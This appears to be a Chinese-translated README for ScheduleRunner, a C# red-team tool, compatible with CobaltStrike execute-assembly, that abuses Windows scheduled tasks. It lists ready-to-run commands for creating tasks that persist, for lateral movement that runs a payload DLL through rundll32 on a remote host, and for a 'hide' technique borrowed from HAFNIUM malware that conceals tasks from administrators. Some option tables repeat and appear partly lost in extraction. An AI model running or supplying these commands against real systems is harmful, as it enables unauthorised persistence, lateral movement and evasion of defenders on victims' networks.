计划任务是过去十年中最流行的攻击技术之一,如今黑客/红队成员仍常将其用于持久化和横向移动。
已有多种C#工具被开发出来模拟使用计划任务的攻击。我尝试过其中一些,但每个工具在定制计划任务方面都有其局限性。因此,本项目旨在提供一个C#工具(兼容CobaltStrike的execute-assembly),包含我所需要的功能,并提供足够的灵活性来定制计划任务。

| 方法 | 功能 |
|---|---|
| create | 创建一个新的计划任务 |
| delete | 删除一个现有的计划任务 |
| run | 执行一个现有的计划任务 |
| query | 查询某个计划任务或某个文件夹下所有计划任务的详细信息 |
| queryfolders | 查询计划任务中的所有子文件夹 |
| move | 使用计划任务执行横向移动(自动创建、运行并删除) |
[*] 为必填字段。
| 选项 | 功能 |
|---|---|
| [*] /taskname | 指定计划任务的名称 |
| /folder | 指定计划任务存储的文件夹(默认:\) |
| /remoteserver | 指定远程计算机的主机名或IP地址 |
[*] 为必填字段。
| 选项 | 功能 |
|---|---|
| [*] /taskname | 指定计划任务的名称 |
| /folder | 指定计划任务存储的文件夹(默认:\) |
| /remoteserver | 指定远程计算机的主机名或IP地址 |
[*] 为必填字段。
| 选项 | 功能 |
|---|---|
| /taskname | 指定计划任务的名称 |
| /folder | 指定计划任务存储的文件夹(默认:\) |
| /remoteserver | 指定远程计算机的主机名或IP地址 |
[*] 为必填字段。
[*] 为必填字段。
创建一个名为"Cleanup"的计划任务,每天下午11:30执行
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
在远程服务器上创建一个名为"Cleanup"的计划任务,每4小时执行一次
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
删除名为"Cleanup"的计划任务
ScheduleRunner.exe /method:delete /taskname:Cleanup
执行名为"Cleanup"的计划任务
ScheduleRunner.exe /method:run /taskname:Cleanup
查询远程服务器上"\Microsoft\Windows\CertificateServicesClient"文件夹下名为"Cleanup"的计划任务的详细信息
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
查询远程服务器上特定文件夹"\Microsoft\Windows\CertificateServicesClient"下的所有计划任务
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
查询计划任务中的所有子文件夹
ScheduleRunner.exe /method:queryfolders
使用计划任务向远程服务器执行横向移动,并指定特定用户账户
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
使用隐藏计划任务技术创建一个名为"Cleanup"的计划任务:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
删除一个使用了隐藏计划任务技术的名为"Cleanup"的计划任务:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
该技术曾被威胁行为者HAFNIUM使用,最近由微软发现。其目的是使工具无法查询到计划任务,并且任务计划程序也看不到它。
要使用此技术,您需要拥有"NT AUTHORITY/SYSTEM"权限,ScheduleRunner将为您执行以下操作:
要删除使用此技术创建的计划任务,需要在删除方法中添加"/technique:hide"参数以正确移除。
即使通过注册表删除了任务,该任务仍会继续运行直到下次系统重启。因此,建议不要在对服务器进行操作时使用此技术。

| 库 | 链接 |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| 选项 | 功能 |
|---|
| [*] /taskname | 指定计划任务的名称 |
| [*] /program | 指定任务运行的程序 |
| [*] /trigger | 指定计划类型。有效值包括:"minute"(分钟)、"hourly"(每小时)、"daily"(每天)、"weekly"(每周)、"onstart"(系统启动时)、"onlogon"(用户登录时)和"onidle"(系统空闲时) |
| /modifier | 指定任务在其计划类型内的运行频率。仅适用于以下计划类型:"minute"(例如1-1439分钟)、"hourly"(例如1-23小时)和"weekly"(例如mon,sat,sun) |
| /starttime | 指定每日计划类型的开始时间(例如23:30) |
| /argument | 指定程序的命令行参数 |
| /folder | 指定计划任务存储的文件夹(默认:\) |
| /workingdir | 指定计划任务执行时的工作目录 |
| /author | 指定计划任务的作者 |
| /description | 指定计划任务的描述 |
| /remoteserver | 指定远程计算机的主机名或IP地址 |
| /user | 使用指定的用户账户运行任务 |
| /technique | 指定规避技术: - "hide":HAFNIUM恶意软件使用的技术,可将计划任务从任务查询中隐藏 [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] 由于远程注册表的权限限制,此技术不支持远程执行。它需要"NT AUTHORITY\SYSTEM"权限,且即使任务被删除,任务仍会继续运行直到系统重启 |
| /technique | 指定当计划任务使用规避技术创建时的处理方式: - "hide":删除使用了“隐藏计划任务”技术的计划任务 [!] 删除需要"NT AUTHORITY\SYSTEM"权限,且即使任务被删除,任务仍会继续运行直到系统重启 |
| 选项 | 功能 |
|---|
| [*] /taskname | 指定计划任务的名称 |
| [*] /program | 指定任务运行的程序 |
| [*] /remoteserver | 指定远程计算机的主机名或IP地址 |
| /trigger | 指定计划类型。有效值包括:"minute"(分钟)、"hourly"(每小时)、"daily"(每天)、"weekly"(每周)、"onstart"(系统启动时)、"onlogon"(用户登录时)和"onidle"(系统空闲时) |
| /modifier | 指定任务在其计划类型内的运行频率。仅适用于以下计划类型:"minute"(例如1-1439分钟)、"hourly"(例如1-23小时)和"weekly"(例如mon,sat,sun) |
| /starttime | 指定每日计划类型的开始时间(例如23:30) |
| /argument | 指定程序的命令行参数 |
| /folder | 指定计划任务存储的文件夹(默认:\) |
| /workingdir | 指定计划任务执行时的工作目录 |
| /author | 指定计划任务的作者 |
| /description | 指定计划任务的描述 |
| /user | 使用指定的用户账户运行任务 |